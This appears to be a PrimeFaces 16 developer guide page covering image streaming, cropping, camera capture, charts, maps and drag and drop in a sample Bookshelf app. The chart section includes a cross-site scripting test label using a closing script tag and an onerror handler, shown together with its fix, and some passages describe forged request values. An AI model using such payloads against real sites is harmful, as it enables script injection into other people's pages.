p:graphicImage extends h:graphicImage with dynamic content. Its value may be a StreamedContent, a byte[], an InputStream or a plain resource path; name and library still work for static resources. The attributes that matter here are stream (default true) and cache (default false).

CoverImageBean.java: one stored cover per request parameter
package org.example.bookshelf.web;

import jakarta.enterprise.context.RequestScoped;
import jakarta.faces.context.FacesContext;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.IOException;
import java.io.UncheckedIOException;
import java.nio.file.Files;
import java.nio.file.Path;
import org.example.bookshelf.service.CoverStore;
import org.primefaces.model.DefaultStreamedContent;
import org.primefaces.model.StreamedContent;

/** Serves one stored cover; the id arrives as the request parameter that f:param adds to the image URL. */
@Named
@RequestScoped
public class CoverImageBean {

    @Inject
    private CoverStore store;
    @Inject
    private FacesContext facesContext;

    public StreamedContent getCover() {
        String id = facesContext.getExternalContext().getRequestParameterMap().get("id");
        Path file = store.find(id).orElse(null);       // only ids this application generated resolve
        if (file == null) {
            return DefaultStreamedContent.DUMMY;
        }
        return DefaultStreamedContent.builder()
                .name(id)
                .contentType(id.endsWith(".png") ? "image/png" : "image/jpeg")
                .stream(() -> {
                    try {
                        return Files.newInputStream(file);
                    } catch (IOException e) {
                        throw new UncheckedIOException(e);
                    }
                })
                .build();
    }
}
gallery.xhtml: streaming with f:param, and rendering with an argument
<!-- streaming: a property expression, the id travels as a request parameter -->
<ui:repeat value="#{coverGalleryBean.ids}" var="id">
    <p:graphicImage value="#{coverImageBean.cover}" width="60" cache="false"><f:param name="id" value="#{id}"/></p:graphicImage>
</ui:repeat>

<!-- rendering: a data URI in the page, a method with an argument is allowed -->
<ui:repeat value="#{coverGalleryBean.ids}" var="id">
    <p:graphicImage value="#{coverGalleryBean.image(id)}" width="60" stream="false"/>
</ui:repeat>
CoverGalleryBean.java
package org.example.bookshelf.web;

import jakarta.enterprise.context.RequestScoped;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.List;
import org.example.bookshelf.service.CoverStore;
import org.primefaces.model.DefaultStreamedContent;
import org.primefaces.model.StreamedContent;

@Named
@RequestScoped
public class CoverGalleryBean {

    @Inject
    private CoverStore store;

    public List<String> getIds() throws IOException {
        return store.list();
    }

    /** One image per id; the stored id can only be one this application generated. */
    public StreamedContent image(String id) {
        Path file = store.find(id).orElse(null);
        if (file == null) {
            return DefaultStreamedContent.DUMMY;
        }
        return DefaultStreamedContent.builder()
                .name(id)
                .contentType(id.endsWith(".png") ? "image/png" : "image/jpeg")
                .stream(() -> {
                    try {
                        return Files.newInputStream(file);
                    } catch (IOException e) {
                        throw new java.io.UncheckedIOException(e);
                    }
                })
                .build();
    }
}

With the covers stored by the earlier runs, the streaming variant rendered <img src=".../dynamiccontent.properties.xhtml?...&id=<stored id>.png&...", the browser fetched the images (image/png, no-store) and all showed (naturalWidth 300 or 120). The rendering variant embedded every image as a Base64 data URI in the HTML.

  • Streaming (default) is cheap for the page and cacheable (cache="true" adds a one-year max-age), needs a request scoped bean and a property expression, and does one extra request per image.

  • Rendering (stream="false") supports @ViewScoped beans and method expressions with arguments, but inflates the page by a third and the browser cannot cache it separately. Use it for a handful of small images, never inside a long ui:repeat (the PrimeFaces documentation says the same).

  • Cache with care. A cover that changes under the same expression is served from the browser cache if cache="true".

Cropping Images: p:imageCropper

p:imageCropper shows an image, lets the user draw a rectangle on it and puts a new, cropped image into the value, an org.primefaces.model.CroppedImage. Since 8.0 the browser part is Cropper.js (it was JCrop). Its important attributes:

Attribute Meaning

value

CroppedImage: getBytes(), getWidth(), getHeight(), getLeft(), getTop(), getOriginalFilename() (taken from the 16.0.0 class; the property table in the 16 documentation names right and originalFileName instead).

image

What to crop: a context-relative path ("/resources/...", a String), a StreamedContent, or an http(s) URL.

aspectRatio, minSize, maxSize, initialCoords

Shape and size of the crop box. minSize/maxSize are width,height; initialCoords is x,y,w,h.

viewMode, boxWidth, boxHeight, guides, responsive, zoomOnWheel, zoomOnTouch

Cropper.js options: how the box is confined to the canvas, the maximum preview size, guide lines, redraw on resize and zoom behaviour.

sizeLimit

Largest image PrimeFaces will read to crop, in bytes. Default 10,485,760 (10 MB).

cache

Whether the browser may cache the image request. Default true.

The Bookshelf editor crops a stored cover to a portrait shape and saves the result as a new cover. The view takes the id from a view parameter (see View Parameters and View Actions):

crop.xhtml
<f:metadata>
    <f:viewParam name="id" value="#{coverCropBean.coverId}"/>
</f:metadata>
<h:form id="crop">
    <p:growl id="msgs"/>
    <p:imageCropper id="c" value="#{coverCropBean.cropped}" image="#{coverImageBean.cover}"
                    aspectRatio="0.75" minSize="60,80" initialCoords="10,10,90,120" alt="Cover to crop">
        <f:param name="id" value="#{coverCropBean.coverId}"/>
    </p:imageCropper>
    <p:commandButton id="save" value="Save crop" action="#{coverCropBean.save}" update="msgs">
        <f:param name="id" value="#{coverCropBean.coverId}"/>
    </p:commandButton>
</h:form>
CoverCropBean.java
package org.example.bookshelf.web;

import jakarta.faces.application.FacesMessage;
import jakarta.faces.context.FacesContext;
import jakarta.faces.view.ViewScoped;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.Serializable;
import org.example.bookshelf.service.CoverStore;
import org.example.bookshelf.service.ImageSignature;
import org.primefaces.model.CroppedImage;

/** Crops a stored cover; the id comes from a view parameter and is checked by CoverStore.find. */
@Named
@ViewScoped
public class CoverCropBean implements Serializable {

    @Inject
    private CoverStore store;
    @Inject
    private FacesContext facesContext;

    private String coverId;
    private CroppedImage cropped;
    private String savedId;

    public void save() throws IOException {
        if (cropped == null || cropped.getBytes() == null || cropped.getBytes().length == 0) {
            facesContext.addMessage(null, new FacesMessage(FacesMessage.SEVERITY_WARN, "Select an area first", null));
            return;
        }
        byte[] bytes = cropped.getBytes();
        String ext = ImageSignature.extensionOf(bytes).orElseThrow();
        savedId = store.save(new ByteArrayInputStream(bytes), ext);
        facesContext.addMessage(null, new FacesMessage("Saved " + cropped.getWidth() + "x" + cropped.getHeight()
                + " at (" + cropped.getLeft() + "," + cropped.getTop() + ") as " + savedId));
    }

    public String getCoverId() { return coverId; }
    public void setCoverId(String coverId) { this.coverId = coverId; }
    public CroppedImage getCropped() { return cropped; }
    public void setCropped(CroppedImage cropped) { this.cropped = cropped; }
    public String getSavedId() { return savedId; }
}

Reading the renderer’s source and running the example showed how the crop really happens, and it has two consequences:

  • The server does the cropping, in the postback. The browser only sends the coordinates (a hidden field such as 2.53_2.07_60_80). While converting the submitted value, ImageCropperRenderer evaluates the image expression again, reads the original with ImageIO, cuts out the rectangle and builds the CroppedImage. In the run the saved crop was a valid PNG of 60 x 80 pixels (the file header says so) for the box the widget reported, 2.53_2.07_60_80. The image expression therefore has to work in two requests: the streaming request that shows the image and the postback that crops it. That is why the example repeats the same f:param on the command button: without it the postback had no id parameter, CoverImageBean returned the empty DUMMY content and the conversion failed with a NullPointerException.

  • Set name and contentType on the StreamedContent. The cropper writes the result in the format taken from the content type, and getOriginalFilename() comes from the name. CoverImageBean sets both.

Check what you save. A CroppedImage is bytes that your code produced from an image that your code supplied, so it is far safer than an upload, but the example still checks the signature with ImageSignature and stores it under a generated id. The coordinates are client data too. The hidden field crop:c_coords was posted by hand with these values (x_y_w_h, in pixels of the original 300 x 200 image), and the outcome (run on Mojarra) was: 250_150_500_500 was clamped to the image and gave a 50 x 50 crop; 290_190_50_50 gave 10 x 10; 5_5_0_10 (a width of zero) gave no CroppedImage at all, so the action must handle null as save() does; -5_-5_10_10 was not clamped and ended in a java.awt.image.RasterFormatException; and a_b_c_d ended in a NumberFormatException. Those two exceptions reach the application’s ExceptionHandler as ordinary unexpected exceptions, so make sure the Ajax error page or handler does not echo exception names or messages to the user (see Exceptions in Ajax requests).

Server-side request forgery. When image resolves to an http or https URL, the server opens a connection to fetch it. PrimeFaces 16 sets 5 and 10 second timeouts and requires an image/* content type from the remote host, but it will connect to whichever address it is given, including internal network addresses. Never bind an image expression to user input; if users may name an image, map their choice to an allowlist of URLs or ids on the server. A local path is resolved against the web root and checked for path traversal by PrimeFaces, but the same rule applies: a path built from user input is the application’s problem.

Taking Photos: p:photoCam

p:photoCam opens the user’s camera in the page, shows a live preview, and on request captures a still image that arrives at a listener as a CaptureEvent. The capture itself is started from JavaScript. The attributes are listener, update, process, width/height of the preview (default 320 x 240), photoWidth/photoHeight of the captured image (default 320 x 240), format (jpeg or png), jpegQuality (0 to 100, default 90), device (a device id, or user/environment on phones), autoStart (default true) and the callback onCameraError.

photo.xhtml
<h:form id="cam">
    <p:growl id="msgs"/>
    <p:photoCam id="pc" widgetVar="pc" listener="#{photoBean.onCapture}" update="msgs"
                format="jpeg" jpegQuality="85" photoWidth="320" photoHeight="240"
                onCameraError="window.camError = errorObj.name + ': ' + errorObj.message"/>
    <p:commandButton id="take" type="button" value="Take photo" onclick="PF('pc').capture()"/>
</h:form>
PhotoBean.java
package org.example.bookshelf.web;

import jakarta.enterprise.context.RequestScoped;
import jakarta.faces.application.FacesMessage;
import jakarta.faces.context.FacesContext;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.util.logging.Logger;
import org.example.bookshelf.service.CoverStore;
import org.example.bookshelf.service.ImageSignature;
import org.primefaces.event.CaptureEvent;

/** Stores a photo taken with p:photoCam as a new cover. */
@Named
@RequestScoped
public class PhotoBean {

    private static final Logger LOG = Logger.getLogger(PhotoBean.class.getName());
    private static final int MAX_BYTES = 1_000_000;

    @Inject
    private CoverStore store;
    @Inject
    private FacesContext facesContext;

    public void onCapture(CaptureEvent event) throws IOException {
        byte[] data = event.getData();
        LOG.info("captured " + data.length + " bytes, raw prefix=" + event.getRawData().substring(0, 30));
        if (data.length > MAX_BYTES) {
            facesContext.addMessage(null, new FacesMessage(FacesMessage.SEVERITY_ERROR, "Photo too large", null));
            return;
        }
        String ext = ImageSignature.extensionOf(data).orElse(null);
        if (ext == null) {
            facesContext.addMessage(null, new FacesMessage(FacesMessage.SEVERITY_ERROR, "Not an image", null));
            return;
        }
        String id = store.save(new ByteArrayInputStream(data), ext);
        facesContext.addMessage(null, new FacesMessage("Saved photo " + id));
    }
}

Headless Chrome with a fake camera (--use-fake-device-for-media-stream --use-fake-ui-for-media-stream) showed a 640-pixel-wide video; PF('pc').capture() produced a request, the listener received 4,213 bytes in the JPEG case and 5,416 bytes in the PNG case, and both were stored ("Saved photo …​"). The same ran on Mojarra and MyFaces. Points to know:

  • HTTPS is required. Browsers expose the camera (getUserMedia) only to secure contexts: HTTPS, or localhost. On a plain http:// host other than localhost the camera never starts, and onCameraError receives the error. Third-party browsers on iOS may not reach the camera; the PrimeFaces documentation names Safari as the working one. The Flash fallback was removed in 11.0.0.

  • The bytes are an image that the browser made up. CaptureEvent.getData() is decoded from a data URL sent by the client, so a hostile client can send anything. PhotoBean limits the size and checks the signature before it stores the data under a generated id, as for any upload. The jakarta.xml.bind-api dependency of Optional libraries is required for the decoding.

  • Ask for the user’s consent in the page. The browser asks for permission; the page should say why it needs the camera and offer p:fileUpload as the alternative for people who cannot or will not use a camera.

Charts: p:chart

PrimeFaces 16 has one chart component, p:chart, a thin wrapper around Chart.js (version 4.5.1 is bundled in the 16.0.0 jar; the browser reported it as Chart.version). The component does not know what a bar or a pie is: its value is the complete Chart.js configuration (type, data, options) as a JSON string. Three ways to produce that string exist:

Way Use when

A server-side Java model

You build the chart in Java and want type-safe code. PrimeFaces documents the XDEV Chart.js Java Model (software.xdev:chartjs-java-model); its toJson() gives the string. The classes are not part of PrimeFaces.

Raw JSON in a bean

You already have the Chart.js configuration, or you want a Chart.js feature the model does not know yet.

The value facet

A static chart; the configuration is written in the view in Chart.js’s JavaScript object syntax, with no Java at all.

The Bookshelf statistics view shows reviews per rating (bar chart, clickable), new reviews per month (line chart) and a static doughnut:

chart.xhtml
<h:form id="stats">
    <p:growl id="msgs" showDetail="true"/>
    <p:chart id="ratings" value="#{reviewChartBean.ratingsModel}" style="width:600px;height:300px" widgetVar="ratingsChart">
        <p:ajax event="itemSelect" listener="#{reviewChartBean.itemSelect}" update="msgs"/>
    </p:chart>
    <p:chart id="monthly" value="#{reviewChartBean.monthlyModel}" style="width:600px;height:300px"/>
    <p:chart id="facet" style="width:400px;height:200px">
        <f:facet name="value">
            { type: 'doughnut', data: { labels: ['Fiction', 'Science'], datasets: [{ data: [60, 40] }] } }
        </f:facet>
    </p:chart>
</h:form>
ReviewChartBean.java
package org.example.bookshelf.web;

import jakarta.annotation.PostConstruct;
import jakarta.faces.application.FacesMessage;
import jakarta.faces.context.FacesContext;
import jakarta.faces.view.ViewScoped;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.Serializable;
import java.util.List;
import org.primefaces.event.ItemSelectEvent;
import software.xdev.chartjs.model.charts.BarChart;
import software.xdev.chartjs.model.charts.LineChart;
import software.xdev.chartjs.model.color.RGBAColor;
import software.xdev.chartjs.model.data.BarData;
import software.xdev.chartjs.model.data.LineData;
import software.xdev.chartjs.model.dataset.BarDataset;
import software.xdev.chartjs.model.dataset.LineDataset;
import software.xdev.chartjs.model.options.BarOptions;
import software.xdev.chartjs.model.options.LineOptions;
import software.xdev.chartjs.model.options.Plugins;
import software.xdev.chartjs.model.options.Title;

/** Chart models for the Bookshelf statistics page: p:chart takes the model as a JSON string. */
@Named
@ViewScoped
public class ReviewChartBean implements Serializable {

    @Inject
    private FacesContext facesContext;

    private String ratingsModel;
    private String monthlyModel;

    @PostConstruct
    void init() {
        List<Number> perRating = List.of(2, 3, 8, 21, 17);
        ratingsModel = new BarChart()
                .setData(new BarData()
                        .addDataset(new BarDataset()
                                .setLabel("Reviews")
                                .setData(perRating.toArray(new Number[0]))
                                .setBackgroundColor(new RGBAColor(54, 162, 235, 0.6)))
                        .setLabels("1 star", "2 stars", "3 stars", "4 stars", "5 stars"))
                .setOptions(new BarOptions()
                        .setResponsive(true)
                        .setMaintainAspectRatio(false)
                        .setPlugins(new Plugins().setTitle(new Title().setDisplay(true).setText("Reviews per rating"))))
                .toJson();
        monthlyModel = new LineChart()
                .setData(new LineData()
                        .addDataset(new LineDataset()
                                .setLabel("New reviews")
                                .setData(4, 9, 7, 12, 15, 11)
                                .setBorderColor(new RGBAColor(75, 192, 192))
                                .setTension(0.1f))
                        .setLabels("May", "Jun", "Jul", "Aug", "Sep", "Oct"))
                .setOptions(new LineOptions().setResponsive(true).setMaintainAspectRatio(false))
                .toJson();
    }

    public void itemSelect(ItemSelectEvent event) {
        facesContext.addMessage(null, new FacesMessage(FacesMessage.SEVERITY_INFO, "Item selected",
                "Item index " + event.getItemIndex() + ", dataset index " + event.getDataSetIndex()));
    }

    /** Hostile label from a user: shows how the JSON is embedded in the page. */
    public String getHostileModel() {
        return "{\"type\":\"bar\",\"data\":{\"labels\":[\"</script><img src=x onerror=window.pwned=1>\"],\"datasets\":[{\"data\":[1]}]}}";
    }

    /** The same hostile label, serialised by the XDEV model. */
    public String getHostileXdev() {
        return new BarChart().setData(new BarData().addDataset(new BarDataset().setData(1))
                .setLabels("</script><img src=x onerror=window.pwned2=1>")).toJson();
    }

    /** Escapes every less-than sign as a JSON unicode escape: the page still carries valid JSON, but never a tag. */
    static String scriptSafe(String json) {
        return json.replace("<", "\\u003c");
    }

    public String getHostileSafe() {
        return scriptSafe(getHostileXdev());
    }

    public String getRatingsModel() { return ratingsModel; }
    public String getMonthlyModel() { return monthlyModel; }
}

The attributes of p:chart are value, extender, style, styleClass, canvasStyle, canvasStyleClass, ariaLabel, widgetVar, id and rendered. The behaviour event is itemSelect; its ItemSelectEvent has getItemIndex(), getDataSetIndex(), getSeriesIndex() and getData(). Clicking the fourth bar of the example produced the growl "Item selected: Item index 3, dataset index 0", on both Mojarra and MyFaces. The client-side widget has exportAsImage() (returns an <img> with a data:image/png;base64,... source) and print(); exportAsImage() was run and returned a PNG data URL. An extender is the name of a JavaScript function that receives the Chart.js configuration (this.cfg.config) and may merge more options or plugins into it; it must be defined before the chart renders (the PrimeFaces documentation shows the chartjs-plugin-datalabels plugin; an extender was not run).

Data in the JSON is data in a script

PrimeFaces writes the JSON string into the page inside an inline <script> element, as the argument of PrimeFaces.cw("Chart", ...). It does not escape it for that context. A label that contains </script> therefore ends the script and what follows is parsed as HTML. This was run with the label </script><img src=x onerror=window.pwned=1> once in a hand-written JSON string and once in a BarChart serialised by toJson() (the Java model does not escape the less-than sign either); the onerror handler ran in both cases, on Mojarra and on MyFaces (the general rules for escaping and cross-site scripting are on the security page). In the Bookshelf the typical source of such text is a book title or an author name used as a label, which a user typed.

The defence has two parts, and the example class has the first:

  • Escape < as \u003c in the string before it reaches the component (scriptSafe in ReviewChartBean). The result is still valid JSON, so Chart.js receives the original text (</script><img ...>) as a label and draws it as text on the canvas. With that call the same hostile label ran no script.

  • Use a Content Security Policy. With primefaces.CSP set to true (see Content Security Policy) the inline handler of the injected image was blocked by the browser and window.pwned stayed undefined (run on Mojarra), because the page script carries a nonce and the injected markup does not. A policy limits the damage; it does not excuse unescaped data.

Hostile label, three renderings (the bean has the second and the third)
// 1. raw JSON from user text: the onerror handler runs
String raw = "{\"type\":\"bar\",\"data\":{\"labels\":[\"" + userText + "\"],\"datasets\":[{\"data\":[1]}]}}";

// 2. the same text through the Java model: still runs, toJson() leaves '<' alone
String modelled = new BarChart().setData(new BarData().addDataset(new BarDataset().setData(1))
        .setLabels(userText)).toJson();

// 3. escaped before it reaches p:chart: no script
String safe = modelled.replace("<", "\\u003c");

The first line also shows the other mistake: concatenating text into JSON by hand breaks the document as soon as the text has a quote. Build JSON with a model class or a JSON library, then apply scriptSafe.

The accessibility of a canvas is poor by nature. Set ariaLabel on the chart and put the numbers in a table or a list next to it for people who cannot see the picture.

Where the chart model went

Charts changed more than any other PrimeFaces area:

  • 10.0.0 introduced Chart.js models next to the jqPlot-based charts and deprecated the latter (Chart.js 2.9.4).

  • 11.0.0 moved to Chart.js 3.5.0 with renamed Java setters (setLineTension became setTension); 12.0.0 renamed more options (gridLines to grid, scaleLabel to title).

  • 13.0.0 deleted the jqPlot-based Chart component.

  • 14.0.0 added the new p:chart that takes raw JSON or an XDEV model, and deprecated the per-type components (p:barChart, p:lineChart, …​).

  • 15.0.0 deleted those components and their Java models.

Code from the PrimeFaces 4 and 5 era (a LineChartModel filled with ChartSeries objects, shown by a jqPlot-based component) does not exist in 16. Port it to a Chart.js configuration: the data stay, the declaration changes.

Maps: p:gmap

p:gmap embeds a Google Maps map. It is the only map component in the 16.0.0 taglib (together with p:gmapInfoWindow), and it needs a Google Maps JavaScript API key. The map is backed by an org.primefaces.model.map.MapModel (implementation DefaultMapModel) holding overlays: Marker, Polyline, Polygon, Circle and Rectangle, each of which can carry a data object. Positions are LatLng(lat, lng).

Two ways exist to load Google’s script. The classic one is a <script src="https://maps.googleapis.com/maps/api/js?key=..."> tag in the page; the second is to give the component an apiKey (and optionally apiVersion, default weekly, and libraries), and the widget loads the API itself with Google’s dynamic library import. If Google Maps is already loaded the attributes are ignored. The key is not a secret of the server (browsers see it), but restrict it in Google’s console to your sites and APIs as Google’s documentation recommends, and keep it out of the repository: the example reads it from a context parameter.

map.xhtml
<h:form id="map">
    <p:growl id="msgs"/>
    <p:gmap id="g" center="41.3874, 2.1686" zoom="13" type="roadmap" style="width:600px;height:400px"
            model="#{branchMapBean.model}" apiKey="#{initParam['bookshelf.mapsKey']}" widgetVar="branches">
        <p:ajax event="overlaySelect" listener="#{branchMapBean.onOverlaySelect}"/>
        <p:ajax event="markerDrag" listener="#{branchMapBean.onMarkerDrag}" update="msgs"/>
        <p:gmapInfoWindow id="info">
            <h:outputText value="#{branchMapBean.selected.name}"/>
            <h:outputText value="#{branchMapBean.selected.address}"/>
        </p:gmapInfoWindow>
    </p:gmap>
</h:form>
web.xml: the key as a deployment setting (placeholder)
<context-param>
    <param-name>bookshelf.mapsKey</param-name>
    <param-value>YOUR_API_KEY</param-value>
</context-param>
BranchMapBean.java
package org.example.bookshelf.web;

import jakarta.annotation.PostConstruct;
import jakarta.faces.application.FacesMessage;
import jakarta.faces.context.FacesContext;
import jakarta.faces.view.ViewScoped;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.Serializable;
import org.primefaces.event.map.MarkerDragEvent;
import org.primefaces.event.map.OverlaySelectEvent;
import org.primefaces.model.map.Circle;
import org.primefaces.model.map.DefaultMapModel;
import org.primefaces.model.map.LatLng;
import org.primefaces.model.map.MapModel;
import org.primefaces.model.map.Marker;

/** The library branches of the Bookshelf on a map. View scoped: each user gets a private, modifiable model. */
@Named
@ViewScoped
public class BranchMapBean implements Serializable {

    public record Branch(String name, String address) implements Serializable { }

    @Inject
    private FacesContext facesContext;

    private MapModel<Branch> model;
    private Branch selected;

    @PostConstruct
    void init() {
        model = new DefaultMapModel<>();
        model.addOverlay(new Marker<>(new LatLng(41.3874, 2.1686), "Central branch",
                new Branch("Central branch", "Plaça de Catalunya 1")));
        model.addOverlay(new Marker<>(new LatLng(41.4036, 2.1744), "North branch",
                new Branch("North branch", "Carrer de Mallorca 401")));
        Circle<Branch> catchment = new Circle<>(new LatLng(41.3874, 2.1686), 800);
        catchment.setStrokeColor("#1565c0");
        catchment.setFillColor("#1565c0");
        catchment.setFillOpacity(0.15);
        model.addOverlay(catchment);
    }

    public void onOverlaySelect(OverlaySelectEvent<Branch> event) {
        if (event.getOverlay() instanceof Marker<Branch> marker) {
            selected = marker.getData();
        }
    }

    public void onMarkerDrag(MarkerDragEvent<Branch> event) {
        facesContext.addMessage(null, new FacesMessage("Moved to " + event.getMarker().getLatlng()));
    }

    public MapModel<Branch> getModel() { return model; }
    public Branch getSelected() { return selected; }
}

The attributes of the component include center (lat, lng), zoom (default 8), type (roadmap, satellite, hybrid, terrain), model, fitBounds, streetView, disableDefaultUI, mapTypeControl, navigationControl, scrollWheel, draggable, disableDoubleClickZoom, onPointClick, apiKey, apiVersion and libraries. p:ajax behaviours are available for overlaySelect, overlayDblSelect, stateChange, pointSelect, pointDblSelect, markerDrag, geocode and reverseGeocode; their events are OverlaySelectEvent (getOverlay()), StateChangeEvent (getBounds(), getZoomLevel(), getCenter()), PointSelectEvent (getLatLng()), MarkerDragEvent (getMarker()), GeocodeEvent (getQuery(), getResults()) and ReverseGeocodeEvent. The widget has getMap() (the google.maps.Map) and geocode(address). Marker icons are Object since 12.0.0 so that a Symbol can be used, and models and events are generic (MapModel<Branch>, OverlaySelectEvent<Branch>).

What was run: the page rendered, PrimeFaces wrote the markers, the circle and the info window into the widget configuration, and an overlaySelect request posted by hand returned the updated p:gmapInfoWindow ("Central branch" and its address). The Google map itself was not run, because that needs a real API key and Google’s servers; the widget configuration is JavaScript that calls google.maps.* constructors, so test the visual result in a browser with your own key.

Server-side points:

  • The model must be per user. A markerDrag request moves the marker in the model (marker.setLatlng(...)) from the coordinates the browser posted. A model held in an application scoped bean would let one visitor move the markers for everyone. The example’s bean is view scoped and builds its model in @PostConstruct.

  • The overlay id is client data. A request with an id that is not in the model (a posted nope) still succeeded, on both implementations, and the info window kept showing the previously selected branch, because the listener tests the overlay’s type before it uses it (onOverlaySelect uses instanceof Marker, which is false for null).

  • Titles and labels are escaped. A marker title made of a closing script tag, an image tag with an onerror handler, a double quote, a single quote, a backtick and a template placeholder was written into the page as shown below and ran nothing, so unlike p:chart the map’s JavaScript literals are safe. Output components inside p:gmapInfoWindow escape as usual (h:outputText does); do not turn escape off for text from users.

  • Terms and privacy. The map sends the visitor’s browser to Google. That is a decision about privacy notices and consent, not about code; check Google’s terms and your own obligations before you use it on a public site.

The rendered title literal (the input is the title of HostileMapBean, a scratch class)
title:"<\/script><img src=x onerror=window.pwned4=1>\x22\x27`${1}"

Drag and Drop: p:draggable and p:droppable

p:draggable makes a component draggable and p:droppable makes one a drop target. Their options (helper, revert, handle, axis, grid, containment, snap, stack, opacity, scope, accept, tolerance, greedy, hoverStyleClass and so on) have the same names as the options of jQuery UI’s draggable and droppable (see the jQuery UI API pages). The pair is connected by scope: a draggable is accepted by a droppable with the same scope (default default) and, if accept is set, a matching selector.

Frequently used attributes:

Attribute Effect

for

The component to make draggable/droppable; omitted means the parent component.

handle, axis, grid, containment

Where the drag starts, the allowed axis (x or y), snapping to a pixel grid and confinement to an element or parent.

helper, revert, opacity, stack

clone or original as the drag image, return to the start when not dropped, helper opacity, and z-index stacking of a group.

scope, accept, tolerance, greedy

Which draggables a droppable takes, and how much overlap counts (fit, intersect (default), pointer, touch).

activeStyleClass, hoverStyleClass, onDrop

Style while a matching draggable is dragged or hovering, and a client-side callback with (event, ui).

datasource (droppable)

The id of a data component (UIData, such as p:dataGrid or p:dataTable) whose row the dragged item represents.

The Bookshelf lets a reader drag books from the catalogue onto "My shelf". The droppable is the shelf, its datasource is the catalogue grid, and the Ajax drop behaviour receives a DragDropEvent whose getData() is the dragged row:

dnd.xhtml
<h:form id="shelf">
    <p:growl id="msgs"/>
    <p:fieldset legend="Catalogue">
        <p:dataGrid id="catalogue" var="book" value="#{shelfDragBean.catalogue}" columns="2" emptyMessage="Nothing left">
            <p:panel id="card" header="#{book.title}">
                <h:outputText value="#{book.author} (#{book.year})"/>
                <p:commandButton id="add" value="Add to shelf" process="@this" update="@form"
                                 action="#{shelfDragBean.add(book)}"/>
            </p:panel>
            <p:draggable for="card" revert="true" handle=".ui-panel-titlebar" stack=".ui-panel" scope="books"/>
        </p:dataGrid>
    </p:fieldset>
    <p:fieldset id="mine" legend="My shelf">
        <p:outputPanel id="dropArea">
            <h:outputText value="Drop books here" rendered="#{empty shelfDragBean.shelf}"/>
            <p:dataTable id="shelfTable" var="b" value="#{shelfDragBean.shelf}" rendered="#{not empty shelfDragBean.shelf}">
                <p:column headerText="Title"><h:outputText value="#{b.title}"/></p:column>
                <p:column headerText="Year"><h:outputText value="#{b.year}"/></p:column>
                <p:column headerText="Back">
                    <p:commandButton value="Remove" process="@this" update="@form" action="#{shelfDragBean.putBack(b)}"/>
                </p:column>
            </p:dataTable>
        </p:outputPanel>
    </p:fieldset>
    <p:droppable for="mine" datasource="catalogue" scope="books" tolerance="pointer" activeStyleClass="ui-state-highlight">
        <p:ajax listener="#{shelfDragBean.onDrop}" update="dropArea catalogue msgs"/>
    </p:droppable>
</h:form>
ShelfDragBean.java
package org.example.bookshelf.web;

import jakarta.annotation.PostConstruct;
import jakarta.faces.view.ViewScoped;
import jakarta.inject.Named;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.List;
import org.example.bookshelf.model.Book;
import org.primefaces.event.DragDropEvent;

/** Drag books from the catalogue onto "My shelf". View scoped: the lists belong to this page instance. */
@Named
@ViewScoped
public class ShelfDragBean implements Serializable {

    private List<Book> catalogue;
    private List<Book> shelf;

    @PostConstruct
    void init() {
        catalogue = new ArrayList<>(List.of(
                new Book(1, "Dune", "Frank Herbert", 1965),
                new Book(2, "Solaris", "Stanislaw Lem", 1961),
                new Book(3, "Neuromancer", "William Gibson", 1984),
                new Book(4, "Hyperion", "Dan Simmons", 1989)));
        shelf = new ArrayList<>();
    }

    /** The dragged row arrives as the data of the datasource component, not as text from the browser. */
    public void onDrop(DragDropEvent<Book> event) {
        Book book = event.getData();
        if (book != null && catalogue.remove(book)) {
            shelf.add(book);
        }
    }

    /** The keyboard-friendly route to the same result. */
    public void add(Book book) {
        if (catalogue.remove(book)) {
            shelf.add(book);
        }
    }

    public void putBack(Book book) {
        if (shelf.remove(book)) {
            catalogue.add(book);
        }
    }

    public List<Book> getCatalogue() { return catalogue; }
    public List<Book> getShelf() { return shelf; }
}

A real mouse drag (headless Chrome pressing on the title bar of the "Dune" card, moving and releasing over the shelf) moved the book: the shelf table showed "Dune 1965" and the catalogue no longer listed it. Mojarra and MyFaces gave the same result.

How it works, and what to check on the server:

  • Lifecycle position. The drop is an ordinary Ajax behaviour request. Droppable turns it into a DragDropEvent that is broadcast in Invoke Application (see Invoke Application); process, update and p:ajax work as on any other component.

  • getData() is a row of the data component, chosen by the client’s id. The droppable reads the row index from the dragged component’s posted client id (shelf:catalogue:1:card means row 1), sets that row on the data component and reads its row data. Posting forged ids gave: index 99, NoRowAvailableException (Mojarra) or IllegalArgumentException (MyFaces); index -1, the first row; an id without an index, ArrayIndexOutOfBoundsException; a non-numeric index, NumberFormatException. Nothing outside the list can be reached, but the user can name any row of it, so the listener must (as onDrop does) work on the data and re-check whether the current user may do the operation; it must not trust getDragId() or getDropId() for anything else.

  • State lives in the bean. The lists are in a view scoped bean (see Scopes) so each browser tab has its own shelf. A session scoped bean would share one shelf between tabs.

  • Give pointer-free users another route. Dragging is a mouse and touch gesture. The example keeps an "Add to shelf" button on every card and a "Remove" button in the table, which call the same bean methods. Keyboard-only access to the drag was not tested.

  • Other drag and drop in PrimeFaces. p:fileUpload accepts dropped files (dragDrop, dropZone; see The user interface); data tables can reorder rows and columns by dragging; p:pickList, p:orderList, trees (TreeDragDropEvent), p:dashboard (p:draggable has a dashboard attribute) and the timeline and organigram components have their own events. They are covered on the data components page of this section and in the PrimeFaces documentation.

Mojarra and MyFaces

Everything on this page was run on both Mojarra 4.1.17 and MyFaces Core 4.1.4 unless it says otherwise, and the results matched: the upload messages and the container’s 413, the simple and advanced modes, the headers of the five download buttons, the streamed images, the crop result, the camera capture, the chart click, the chart script injection and its fix, the map’s info window update and the drag and drop. The differences that showed up are small:

  • Exceptions from forged drop ids. An index past the end of the list raised jakarta.faces.model.NoRowAvailableException on Mojarra and java.lang.IllegalArgumentException on MyFaces. Both are unexpected exceptions for the ExceptionHandler; handle them the same way.

